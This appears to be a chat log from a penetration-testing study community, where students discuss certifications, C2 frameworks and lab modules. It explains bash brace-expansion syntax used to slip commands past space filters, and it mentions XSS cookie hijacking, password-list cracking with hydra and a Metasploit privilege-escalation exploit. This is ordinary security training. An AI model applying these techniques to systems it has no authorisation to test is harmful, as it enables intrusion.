I'm thinking of also taking the bloodhound module and practice a bit on a C2 framework.

[trail leaf]

learning a C2 framework might not be a bad idea to help manage shell sessions

[burnt sluice]

and i'll try to knock up Dante prolab first then take the exam, so i still have a bit left to do.

[trail leaf]

also good practice for when you eventually start to dabble in red team and maldev

[elfin cedar]

thanks all

should I stay in bash?

[burnt sluice]

yes yes, I wanna get into red teaming eventually, that's why.

[burnt sluice]

not rly, unless u need it

[trail leaf]

Up to you, more important to understand what you're using and how it works

and also how that relates to what other people are using

[slender cipher]

Okay, I've done dante and half of zephyr, but I've been lazy for about a month doing nothing, so I reviewing all the module again now, with the last 3 module left.

[burnt sluice]

nice nice, u got this.
Best of luck when u take the exam.

[slender cipher]

I think msf is good enough for the exam, it always has some feature you don't know before

Yeah, keep it up

[burnt sluice]

yes yes, I've been playing around with Empire, but i think ima switch that and try sth else.

[burnt sluice]

ty ty

[elfin cedar]

so {ls,-la} works but {cat} doesn't. I dont get why

[burnt sluice]

Here it is with bash:

[burnt sluice]

^^

[elfin cedar]

what in the world

ohhhh

the curly brackets remove the comma??

[burnt sluice]

if u try to dissect the command I think this is what happens:
{cat} --> {cat}
while:
{cat,} --> cat (Space)
Which corresponds to the command itself.

[burnt sluice]

wdym

[elfin cedar]

I mean it replaces the comma with a space?

thanks I understand a whole lot more now

[burnt sluice]

well it expands the command, it doesn't rly replace it.

When we specify curly brackets we are specifying a list in bash. which in turn expands it's elements when ran.
Thus creating spaces between it's elements.

but when it's a command it gets interpeted as one.

interpreted**

[elfin cedar]

wow nice

[burnt sluice]

ty ty

[elfin cedar]

omg that makes so much sense

[burnt sluice]

if u try to achieve the same thing with zsh, u can make an array, but you will have to use the IFS variable.

[elfin cedar]

I see you are close to taking the exam, do you think if you can pass this, you can pass the OSCP?

because I paid for the OSCP but I am using this to study

[burnt sluice]

i don't rly know tbh, u gotta ask someone who took both. head over to the #cpts section. I think u might find ur answer there

[elfin cedar]

ok ty

[trail leaf]

from everything I've heard in the past 2-3 years of hearing about these certs, everything you need to pass OSCP is in the OSCP. Likewise, everything you need to pass the CPTS is in the CPTS.

Fundamental information about system administration and operating systems is generally assumed, though

[rotund urchin]

Has anyone done the Session Hijacking topic in Cross Site Scripting module? i cannot grab the admin cookie and I dont know why it is not working :/

[burnt sluice]

Just to correct the info I provided, u can't use the array without spaces, u gotta use spaces even if u used the IFS variable,
That's to embed commands, not like a normal array.

[rotund urchin]

jk, just sleep deprived

[dusty sparrow]

Are we supposed to be creating the mutated password list based on mutating the password.list provided with the custom.rule provided? If so I'm getting 186,850 lines. Running through crackmapexec throws some random logging errors in the middle and running in hydra has been going for about half an hour now with no hits yet.

[leaden yew]

Anyone assist me with Module: Using Metasploit Framework, Section: Sessions? I have a meterpreter session that I've sent to background and am attempting to run the second exploit to get root access, but it keeps failing with:
[-] Exploit failed: Input/output error @ io_fread - /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit_payloads-mettle-1.0.20/build/x86_64-linux-musl/bin/mettle.bin

[dusty sparrow]

are you using the correct second exploit?

[leaden yew]

||sudo_baron_samedit||

[leaden yew]

I believe so.

[dusty sparrow]

and you entered the session in the options?

[leaden yew]

yep